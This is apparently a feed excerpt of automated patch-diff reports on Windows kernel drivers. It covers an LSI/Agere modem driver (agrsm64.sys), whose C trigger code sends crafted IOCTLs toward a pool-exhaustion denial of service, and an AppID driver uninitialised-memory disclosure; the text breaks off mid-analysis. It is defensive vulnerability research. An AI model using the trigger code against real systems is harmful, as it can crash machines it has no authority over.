&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOCTL_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Fire Finding 3 (SERIAL_HANDFLOW):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ControlHandShake&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FlowReplace&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;XonLimit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;XoffLimit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOCTL_STATE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Finding 1: an oversized queue-size request causes a correspondingly large &lt;code&gt;NonPagedPool&lt;/code&gt; allocation (resource-exhaustion / potential allocation-failure DoS); the buffer becomes the receive FIFO. Watch the &lt;code&gt;size&lt;/code&gt; argument at &lt;code&gt;agrsm64!SerialIoControl+0x33d&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Finding 2: the wait mask is stored; no crash on its own. Confirm the new mask in the device extension.&lt;/li&gt;
&lt;li&gt;Finding 3: legal, in-range &lt;code&gt;SERIAL_HANDFLOW&lt;/code&gt; settings are applied; out-of-range limits return &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;. Observe the updated flow-control fields in the device extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / Offset Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Device extension size: &lt;strong&gt;0x12be0 bytes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x60&lt;/code&gt;, &lt;code&gt;+0x68&lt;/code&gt;: modem line-control register shadows (set to &lt;code&gt;0xFFFF&lt;/code&gt; in normal init).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x140&lt;/code&gt;: current receive-buffer size — the grow-only threshold for IOCTL 0x1b0008 and the upper bound for the XonLimit/XoffLimit checks in IOCTL 0x1b0064.&lt;/li&gt;
&lt;li&gt;Scratch used by dispatcher: &lt;code&gt;Type3InputBuffer&lt;/code&gt; at &lt;code&gt;+0x20&lt;/code&gt; of the current IO stack location.&lt;/li&gt;
&lt;li&gt;Input length field in stack location: &lt;code&gt;Parameters.DeviceIoControl.InputBufferLength&lt;/code&gt; at &lt;code&gt;+0x10&lt;/code&gt; from &lt;code&gt;CurrentStackLocation&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GsDriverEntry (sub_12e334)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.2452&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security-relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unpatched calls the full &lt;code&gt;DriverEntry&lt;/code&gt; (sub_12e008); patched &lt;code&gt;DriverEntry&lt;/code&gt; (0x1c0006008) returns &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt;. The kill-switch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CSV92EXIntEnter (sub_843EC)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8756&lt;/td&gt;
&lt;td&gt;Spurious match&lt;/td&gt;
&lt;td&gt;The diff paired this unpatched interrupt-enter routine with a patched stub; no meaningful code change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;__security_check_cookie (sub_E6FB0)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9654&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Security-cookie ROL/ROR check; only address deltas changed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_EC8CC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.4046&lt;/td&gt;
&lt;td&gt;Spurious match&lt;/td&gt;
&lt;td&gt;Paired with the patched &lt;code&gt;DriverEntry&lt;/code&gt; stub returning &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_EF3B0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.4046&lt;/td&gt;
&lt;td&gt;Spurious match&lt;/td&gt;
&lt;td&gt;Paired with the patched &lt;code&gt;__report_gsfailure&lt;/code&gt; (&lt;code&gt;__fastfail(2)&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Note on the matched-function table:&lt;/strong&gt; the patched binary is a ~7 KB stub, so the diff's fuzzy matching pairs unpatched functions against the handful of remaining patched helpers (security cookie, fast-fail, the STATUS_NOT_SUPPORTED &lt;code&gt;DriverEntry&lt;/code&gt;). Aside from the entry point, these pairings are artifacts of matching a full driver against a stub; the only real change is that &lt;code&gt;DriverEntry&lt;/code&gt; short-circuits, so none of the modem/serial dispatch code is ever wired up.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None reported by the diff. The patched image is a stub containing only the CRT/security helpers, the guard-icall thunks, &lt;code&gt;GsDriverEntry&lt;/code&gt;, and a &lt;code&gt;DriverEntry&lt;/code&gt; that returns &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt;. There is &lt;strong&gt;no added sanitizer&lt;/strong&gt; for the IOCTL dispatcher — the dispatcher (and the device) simply do not exist in the patched build because the driver refuses to load.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; that the patched build disables the driver wholesale (&lt;code&gt;DriverEntry&lt;/code&gt; returns &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt;) and that the unpatched driver exposes a serial-class IOCTL dispatcher; the exploitability ceiling of the individual IOCTLs is a memory-exhaustion DoS, well below a memory-corruption primitive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale:&lt;/strong&gt;
- The kill-switch patch is strong evidence the vendor chose to disable the driver wholesale rather than harden it.
- The device DACLs are not established by the binary: no &lt;code&gt;IoCreateDeviceSecure&lt;/code&gt; call or SDDL string is present, so both devices receive the I/O-manager default security descriptor. &lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt; (&lt;code&gt;DriverEntry&lt;/code&gt;, &lt;code&gt;0x12e301&lt;/code&gt;) applies to the &lt;code&gt;\DosDevices\LSISM_xface&lt;/code&gt; symlink object (deletion/replacement), not to device access; the &lt;code&gt;\Device\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt; device (&lt;code&gt;IoCreateDevice&lt;/code&gt; at &lt;code&gt;0x58a16&lt;/code&gt;, DeviceType 0x1b, Exclusive=1) uses a &lt;em&gt;protected&lt;/em&gt; symlink. No world-accessible-device escalation is demonstrated.
- The IOCTL handlers are the standard Microsoft serial-framework routines (&lt;code&gt;SerialIoControl&lt;/code&gt;, &lt;code&gt;SerialStartOrQueue&lt;/code&gt;, &lt;code&gt;SerialStartRead&lt;/code&gt;, &lt;code&gt;SerialStartMask&lt;/code&gt;, &lt;code&gt;SerialSetHandFlow&lt;/code&gt;). The most notable exposure is the unbounded &lt;code&gt;NonPagedPool&lt;/code&gt; allocation for the queue size at &lt;code&gt;0x129b1c–0x129b35&lt;/code&gt; (IOCTL_SERIAL_SET_QUEUE_SIZE); the wait-mask and handflow paths are validated as in stock serial.sys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions / Things to Verify Manually:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hardware presence&lt;/strong&gt; — &lt;code&gt;agrsm64.sys&lt;/code&gt; typically loads only if the corresponding Agere/LSI Soft Modem PCI device is enumerated. On a test VM without the hardware, you may need to force-load the driver (test-signing on) or use a fake PDO to exercise the dispatcher. Verify with &lt;code&gt;!devnode 0 1&lt;/code&gt; and look for the modem PDO.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Device symlink index&lt;/strong&gt; — the device may appear as &lt;code&gt;LSIModem0&lt;/code&gt;, &lt;code&gt;LSIModem1&lt;/code&gt;, etc. Iterate indices in &lt;code&gt;CreateFileW&lt;/code&gt; or read them from &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\AGRSM&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Async processing&lt;/strong&gt; — the queued IRP runs in &lt;code&gt;SerialStartOrQueue (sub_12c4b4)&lt;/code&gt;/&lt;code&gt;SerialStartRead (sub_12b5b8)&lt;/code&gt; on a worker thread or DPC. Any observable effect follows the queue/start, so delay after the IOCTL or drive receive traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call chain into &lt;code&gt;SerialStartRead (sub_12b5b8)&lt;/code&gt;&lt;/strong&gt; is the start routine loaded before the tail call to &lt;code&gt;SerialStartOrQueue&lt;/code&gt;; confirm with &lt;code&gt;!stack&lt;/code&gt;/&lt;code&gt;ub&lt;/code&gt; at the dispatcher return site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Current value of dev ext &lt;code&gt;+0x140&lt;/code&gt;&lt;/strong&gt; (receive-buffer size) — read it live with &lt;code&gt;dd &amp;lt;devext&amp;gt;+0x140 L1&lt;/code&gt; to pick a larger value that forces the allocation in Finding 1.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Verify these in a snapshot VM with a kernel debugger attached before claiming a working exploit.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>appid.sys — Uninitialized paged pool memory in SmartlockerConstructOriginClaim (CWE-908) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/appid_8b68c70f-appid-report-20260626-140840.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/appid_8b68c70f-appid-report-20260626-140840.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;appid_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;appid_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9909&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;372&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;366&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch contains one security-relevant change and one non-security refactor in the Windows AppID (AppLocker) kernel driver.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding 1 (security-relevant, Low):&lt;/strong&gt; &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; allocates a paged pool buffer with &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; and leaves a few trailing bytes uninitialized. The uninitialized bytes are carried at the full allocation length into a process-token security attribute and a file extended attribute. The patched build adds a &lt;code&gt;memset&lt;/code&gt; that zeroes the whole buffer, but this zeroing is gated behind the WIL feature flag &lt;code&gt;Feature_965997883&lt;/code&gt;; when the feature is disabled the patched code takes the original, unzeroed path. The fix is therefore a staged rollout rather than an unconditionally delivered fix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding 2 (no security-relevant change):&lt;/strong&gt; The &lt;code&gt;wil_details_*&lt;/code&gt; feature-state cache functions were refactored from a single global feature descriptor to a per-descriptor context passed as a parameter. The unpatched code already performs a correct lock-free atomic compare-and-swap; there is no genuine data race, and none of these functions participate in an AppLocker allow/deny decision. This is Windows Implementation Library (WIL) feature-staging library churn, not a security fix.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Kernel Information Disclosure via Uninitialized Pool Memory&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use of Uninitialized Resource (CWE-908); disclosure consequence (CWE-200)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt; (both builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patch mechanism&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds a &lt;code&gt;memset(buf, 0, size)&lt;/code&gt; (zeroing) immediately after &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;, but only on the path taken when &lt;code&gt;Feature_965997883__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C0002194&lt;/code&gt; returns non-zero. When the feature is disabled, the patched code allocates without zeroing (identical to the unpatched behavior). The size base for the &lt;code&gt;arg5 != NULL&lt;/code&gt; case is &lt;code&gt;*arg5 + 0x40&lt;/code&gt; when the feature is enabled and &lt;code&gt;*arg5 + 0x42&lt;/code&gt; (the original value) when it is disabled.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The unpatched &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt; allocates a kernel paged pool buffer using &lt;code&gt;ExAllocatePoolWithTag(PagedPool, size, 'smtA')&lt;/code&gt; but never zeroes the buffer. It then selectively initializes specific fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[0x00]&lt;/code&gt; = &lt;code&gt;1&lt;/code&gt; (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x04]&lt;/code&gt; = &lt;code&gt;arg1&lt;/code&gt; (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x08]&lt;/code&gt; = &lt;code&gt;0&lt;/code&gt; (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x0C]&lt;/code&gt; = &lt;code&gt;1&lt;/code&gt; (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x10–0x1F]&lt;/code&gt; = 16 bytes from &lt;code&gt;BCryptGenRandom&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x20–0x2F]&lt;/code&gt; = either a second &lt;code&gt;BCryptGenRandom&lt;/code&gt; call or a copy of &lt;code&gt;[0x10–0x1F]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x30–0x33]&lt;/code&gt; = &lt;code&gt;arg4&lt;/code&gt; (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x34–0x37]&lt;/code&gt; = global version/sequence (dword)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x38–0x3B]&lt;/code&gt; = conditional (only written when &lt;code&gt;arg5&lt;/code&gt; is non-NULL)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0x3C+]&lt;/code&gt; = conditional data copied via &lt;code&gt;memmove (sub_1c0006b80)&lt;/code&gt; (only when &lt;code&gt;arg5&lt;/code&gt; is non-NULL)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Gaps remain uninitialized:&lt;/strong&gt;
- When &lt;code&gt;arg5&lt;/code&gt; is NULL, the allocation is &lt;code&gt;0x40&lt;/code&gt; bytes and only fields up through offset &lt;code&gt;0x38&lt;/code&gt; (the dword at &lt;code&gt;[rbx+0x38]&lt;/code&gt;) are written, leaving bytes &lt;code&gt;0x3C–0x3F&lt;/code&gt; (4 bytes) uninitialized.
- When &lt;code&gt;arg5&lt;/code&gt; is non-NULL, the allocation is &lt;code&gt;*arg5 + 0x42&lt;/code&gt; bytes; fields through &lt;code&gt;0x38&lt;/code&gt; plus &lt;code&gt;*arg5&lt;/code&gt; bytes copied from offset &lt;code&gt;0x3C&lt;/code&gt; are written, leaving roughly 6 trailing bytes uninitialized.&lt;/p&gt;
&lt;p&gt;These gaps contain stale kernel paged pool residue from previously freed allocations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A process performs a file execution/creation operation on a system with AppLocker/WDAC enforcement active, routed through the AppID driver, reaching the policy evaluation dispatcher &lt;code&gt;SmartlockerVerifyProcess&lt;/code&gt; @ &lt;code&gt;0x1C0020344&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SmartlockerVerifyProcess&lt;/code&gt; calls &lt;code&gt;SmartlockerManagedInstallerCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F25C&lt;/code&gt; or &lt;code&gt;SmartlockerSmartscreenProcessTokenCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F374&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Those helpers call &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt;, which returns the buffer via &lt;code&gt;*arg7&lt;/code&gt; and its full allocation size via &lt;code&gt;*arg6&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Each caller passes the buffer at that full length to &lt;code&gt;SmartlockerTagProcessToken&lt;/code&gt; @ &lt;code&gt;0x1C001F0C0&lt;/code&gt; (&lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; is called at &lt;code&gt;0x1C001F2DA&lt;/code&gt; then &lt;code&gt;SmartlockerTagProcessToken&lt;/code&gt; at &lt;code&gt;0x1C001F2F6&lt;/code&gt; in &lt;code&gt;SmartlockerManagedInstallerCheck&lt;/code&gt;; correspondingly at &lt;code&gt;0x1C001F4C6&lt;/code&gt; and &lt;code&gt;0x1C001F4E0&lt;/code&gt; in &lt;code&gt;SmartlockerSmartscreenProcessTokenCheck&lt;/code&gt;). That function wraps &lt;code&gt;{pValue = buffer, ValueLength = size}&lt;/code&gt; as a &lt;code&gt;CLAIM_SECURITY_ATTRIBUTE&lt;/code&gt; OCTET_STRING and calls &lt;code&gt;SeSetSecurityAttributesToken&lt;/code&gt; (&lt;code&gt;0x1C001F11F&lt;/code&gt;), placing the uninitialized tail into a process-token security attribute.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SmartlockerManagedInstallerCheck&lt;/code&gt; also returns the buffer up through &lt;code&gt;SmartlockerVerifyProcess&lt;/code&gt;, which passes it at the same length to &lt;code&gt;AipSetEaFromOrigin&lt;/code&gt;, writing it into a file extended attribute.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Token security attributes and file extended attributes are, by Windows design, queryable from user mode (&lt;code&gt;NtQueryInformationToken(TokenSecurityAttributes)&lt;/code&gt;, &lt;code&gt;NtQueryEaFile&lt;/code&gt;). That final user-mode read is performed by the operating system, not by this driver: the disassembly of &lt;code&gt;appid.sys&lt;/code&gt; shows the uninitialized bytes being placed into these two standard Windows objects at full length, but does not itself contain an IRP/IOCTL output-buffer copy back to user mode. The disclosed quantity is small (4–6 bytes of paged pool residue per allocation), which bounds the practical impact.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2: WIL feature-state cache refactor (no security-relevant change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (not a security issue)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nature&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows Implementation Library (WIL) feature-staging refactor: global feature descriptor moved to a per-descriptor context parameter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; @ &lt;code&gt;0x1C00028DC&lt;/code&gt;, &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002850&lt;/code&gt;, &lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002E00&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Change mechanism&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Introduces a per-descriptor context pointer (&lt;code&gt;arg3&lt;/code&gt;) threaded through the call chain; the callee stops hard-coding the single global feature descriptor &lt;code&gt;wil_details_featureDescriptors_a&lt;/code&gt; and instead receives the descriptor pointer as a parameter, reading &lt;code&gt;*arg3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Why this is not a security issue:&lt;/strong&gt; These functions are the WIL feature-enablement state cache embedded in the driver (feature-flag staging plus usage telemetry). They do not participate in any AppLocker allow/deny decision. In the unpatched binary the cache reaches its state through the global pointer &lt;code&gt;wil_details_featureDescriptors_a&lt;/code&gt;. &lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; @ &lt;code&gt;0x1C00028DC&lt;/code&gt; sets device-usage bits (bit &lt;code&gt;0x10&lt;/code&gt; for event type 3, bit &lt;code&gt;0x20&lt;/code&gt; for event type 4) with a &lt;strong&gt;lock-free atomic compare-and-swap&lt;/strong&gt;: it loads the current value at &lt;code&gt;0x1C00028F9&lt;/code&gt;, computes the new value, does 